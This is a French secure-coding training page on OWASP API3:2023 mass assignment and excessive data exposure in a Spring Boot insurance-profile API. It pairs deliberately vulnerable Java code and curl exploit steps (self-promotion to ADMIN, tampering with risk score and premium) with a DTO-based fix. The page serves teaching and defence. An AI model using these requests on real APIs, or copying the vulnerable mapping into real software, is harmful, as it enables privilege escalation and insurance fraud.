AppSec|Formation Développement Sécurisé
← Retour aux cas
08
API3:2023

Broken Object Property Level Auth.

Java 17 · Spring Boot

Mass Assignment : un assuré s'auto-promeut administrateur en incluant le champ role dans son PUT.

Cas n°8 — API3:2023 Broken Object Property Level Authorization (BOPLA)

ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=08
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=08 -e variant=secure

Référence OWASP : API3:2023 - Broken Object Property Level Authorization
Stack : Java 17, Spring Boot 3.2, Spring Security, JWT, H2

démos vidéo

Etape Démo
Application vulnérable, déploiement 08_vulnerable_01_deploy.mp4
Application vulnérable, démo 08_vulnerable_01_demo.mp4
Application sécurisée, déploiement 08_secure_01_deploy.mp4
Application sécurisée, démo 08_secure_01_demo.mp4

Contexte métier

API REST de gestion du profil assuré Assuria. L'assuré peut consulter et modifier ses informations personnelles via GET /api/profil et PUT /api/profil.

Comptes de test

Login Mot de passe Rôle
jdupont password1 USER
mmartin password2 USER
admin admin123 ADMIN

Lancer les applications

# Version vulnérable
cd vulnerable
mvn spring-boot:run

# Version sécurisée (arrêter la vulnérable d'abord)
cd secure
mvn spring-boot:run

Les deux applications démarrent sur le port 8080.


La vulnérabilité — BOPLA

BOPLA combine deux failles complémentaires sur les propriétés d'un objet :

Faille Description
Excessive Data Exposure L'API retourne plus de champs que nécessaire — des données internes sont exposées en lecture
Mass Assignment L'API accepte plus de champs que prévu — des champs internes peuvent être modifiés en écriture

Version vulnérable

Faille 1 — Excessive Data Exposure (lecture)

GET /api/profil retourne directement l'entité JPA :

// ProfilController.java — VULNERABLE
@GetMapping("/api/profil")
public ResponseEntity<Profil> getProfil(Authentication auth) {
    User user = userRepository.findByLogin(auth.getName()).orElseThrow();
    Profil profil = profilRepository.findByUser(user).orElseThrow();
    return ResponseEntity.ok(profil); // Entité complète sérialisée
}

Réponse réelle reçue par l'assuré :

{
    "id": 1,
    "nom": "Dupont",
    "prenom": "Jean",
    "email": "jean.dupont@email.com",
    "telephone": "0612345678",
    "adresse": "12 rue de la Paix, 75001 Paris",
    "role": "USER",
    "primeTotale": 1130.0,
    "scoreRisque": 72,
    "commentaireInterne": "Client fidèle depuis 2015",
    "createdAt": "2024-01-15T10:30:00",
    "updatedAt": "2024-06-20T14:15:00",
    "actif": true
}

L'assuré voit ce que le gestionnaire pense de lui, son score de risque interne et sa prime réelle.

Faille 2 — Mass Assignment (écriture)

PUT /api/profil mappe le JSON directement sur l'entité JPA avec BeanUtils.copyProperties :

// ProfilController.java — VULNERABLE
@PutMapping("/api/profil")
public ResponseEntity<Profil> updateProfil(@RequestBody Profil profilUpdate,
                                           Authentication auth) {
    Profil profil = profilRepository.findByUser(user).orElseThrow();

    // Copie TOUS les champs non-null sans distinction public/interne
    BeanUtils.copyProperties(profilUpdate, profil, "id", "user");

    return ResponseEntity.ok(profilRepository.save(profil));
}

Tout champ présent dans le JSON est copié, y compris role, scoreRisque, primeTotale, commentaireInterne.


Exploitation pas-à-pas

Prérequis

# Démarrer la version vulnérable
cd vulnerable && mvn spring-boot:run

Exploit 1 — Excessive Data Exposure

# Se connecter
TOKEN=$(curl -s -X POST https://appsec.cc/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login":"jdupont","password":"password1"}' | jq -r '.token')

# Consulter le profil — les champs internes sont exposés
curl -s -H "Authorization: Bearer $TOKEN" https://appsec.cc/api/profil | jq

# Résultat : scoreRisque=72, commentaireInterne="Client fidèle depuis 2015"
# L'assuré peut lire les notes confidentielles de son gestionnaire

Exploit 2 — Mass Assignment : élévation de privilège

# Modifier son profil en injectant role=ADMIN
curl -s -X PUT https://appsec.cc/api/profil \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "nom": "Dupont",
    "prenom": "Jean",
    "email": "jean.dupont@email.com",
    "role": "ADMIN"
  }' | jq '.role'
# → "ADMIN"

# Se reconnecter pour obtenir un token ADMIN
TOKEN_ADMIN=$(curl -s -X POST https://appsec.cc/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login":"jdupont","password":"password1"}' | jq -r '.token')

# Accéder à l'endpoint admin
curl -s -H "Authorization: Bearer $TOKEN_ADMIN" \
  https://appsec.cc/api/admin/profils | jq
# → 200 OK avec la liste de tous les profils

Exploit 3 — Mass Assignment : falsification des données métier

TOKEN2=$(curl -s -X POST https://appsec.cc/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login":"mmartin","password":"password2"}' | jq -r '.token')

# Réduire son score de risque pour obtenir de meilleures primes
curl -s -X PUT https://appsec.cc/api/profil \
  -H "Authorization: Bearer $TOKEN2" \
  -H "Content-Type: application/json" \
  -d '{
    "nom": "Martin",
    "prenom": "Marie",
    "email": "marie.martin@email.com",
    "scoreRisque": 5,
    "primeTotale": 50.0,
    "commentaireInterne": "Client VIP sans sinistre"
  }' | jq '{scoreRisque, primeTotale, commentaireInterne}'
# → scoreRisque=5, primeTotale=50.0 — fraude assurance

Script automatisé

chmod +x exploit/bopla-exploit.sh
./exploit/bopla-exploit.sh

# Windows :
exploit\bopla-exploit.bat

Correctif — Version sécurisée

Principe : DTOs séparés pour l'entrée et la sortie

La règle fondamentale : ne jamais exposer l'entité JPA directement.

Entité JPA (Profil)
      │
      ├── GET → ProfilResponseDTO  (uniquement : nom, prenom, email, telephone, adresse)
      └── PUT ← ProfilUpdateDTO    (uniquement : nom, prenom, email, telephone, adresse)

1. DTO de sortie — ce que l'utilisateur peut voir

// ProfilResponseDTO.java
public record ProfilResponseDTO(
    String nom, String prenom, String email, String telephone, String adresse
) {
    public static ProfilResponseDTO fromEntity(Profil profil) {
        return new ProfilResponseDTO(
            profil.getNom(), profil.getPrenom(), profil.getEmail(),
            profil.getTelephone(), profil.getAdresse()
        );
    }
}

scoreRisque, commentaireInterne, role, primeTotale ne font pas partie du record → ils sont physiquement absents de la réponse JSON.

2. DTO d'entrée — ce que l'utilisateur peut modifier

// ProfilUpdateDTO.java
public record ProfilUpdateDTO(
    @NotBlank String nom,
    @NotBlank String prenom,
    @Email    String email,
    @Pattern(regexp = "^0[1-9][0-9]{8}$") String telephone,
    String adresse
) {}

Spring ne désérialisera que ces 5 champs. Envoyer "role":"ADMIN" dans le JSON est silencieusement ignoré.

3. Contrôleur sécurisé

// ProfilController.java
@GetMapping("/api/profil")
public ResponseEntity<ProfilResponseDTO> getProfil(Authentication auth) {
    Profil profil = profilService.getProfilForUser(auth.getName());
    return ResponseEntity.ok(ProfilResponseDTO.fromEntity(profil));
}

@PutMapping("/api/profil")
public ResponseEntity<ProfilResponseDTO> updateProfil(
        @Valid @RequestBody ProfilUpdateDTO dto,
        Authentication auth) {
    Profil profil = profilService.updateProfil(auth.getName(), dto);
    return ResponseEntity.ok(ProfilResponseDTO.fromEntity(profil));
}

4. Service avec mapping explicite

// ProfilService.java
public Profil updateProfil(String login, ProfilUpdateDTO dto) {
    Profil profil = getProfilForUser(login);
    // Mapping champ par champ — les champs internes ne sont jamais touchés
    profil.setNom(dto.nom());
    profil.setPrenom(dto.prenom());
    profil.setEmail(dto.email());
    profil.setTelephone(dto.telephone());
    profil.setAdresse(dto.adresse());
    return profilRepository.save(profil);
}

5. @JsonIgnore comme défense additionnelle (defense in depth)

// Profil.java — dans la version sécurisée
@JsonIgnore private String role;
@JsonIgnore private Integer scoreRisque;
@JsonIgnore private String commentaireInterne;
@JsonIgnore private Double primeTotale;

Si un jour le contrôleur retourne accidentellement l'entité au lieu du DTO, les champs sensibles resteront masqués.


Vérification du correctif

cd secure && mvn spring-boot:run

TOKEN=$(curl -s -X POST https://appsec.cc/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login":"jdupont","password":"password1"}' | jq -r '.token')

# GET — seuls les champs autorisés sont retournés
curl -s -H "Authorization: Bearer $TOKEN" https://appsec.cc/api/profil | jq
# → {"nom":"Dupont","prenom":"Jean","email":"...","telephone":"...","adresse":"..."}
# scoreRisque, role, commentaireInterne sont absents

# PUT — le champ role est ignoré silencieusement
curl -s -X PUT https://appsec.cc/api/profil \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"nom":"Dupont","prenom":"Jean","email":"jean.dupont@email.com","role":"ADMIN"}' | jq
# → {"nom":"Dupont","prenom":"Jean",...} — role non modifié

# Validation — champ invalide
curl -s -X PUT https://appsec.cc/api/profil \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"nom":"","prenom":"Jean","email":"pas-un-email"}' | jq
# → 400 Bad Request avec les erreurs de validation

Points clés à retenir

# Règle Pourquoi
1 Ne jamais exposer l'entité JPA directement L'entité contient des champs internes non destinés aux clients
2 DTOs d'entrée ≠ DTOs de sortie Les champs lisibles et modifiables sont différents
3 Mapping explicite champ par champ BeanUtils.copyProperties est dangereux — il copie tout
4 @Valid + contraintes de validation Valider le format des entrées dès la réception
5 @JsonIgnore en défense additionnelle Ne remplace pas les DTOs mais réduit la surface d'exposition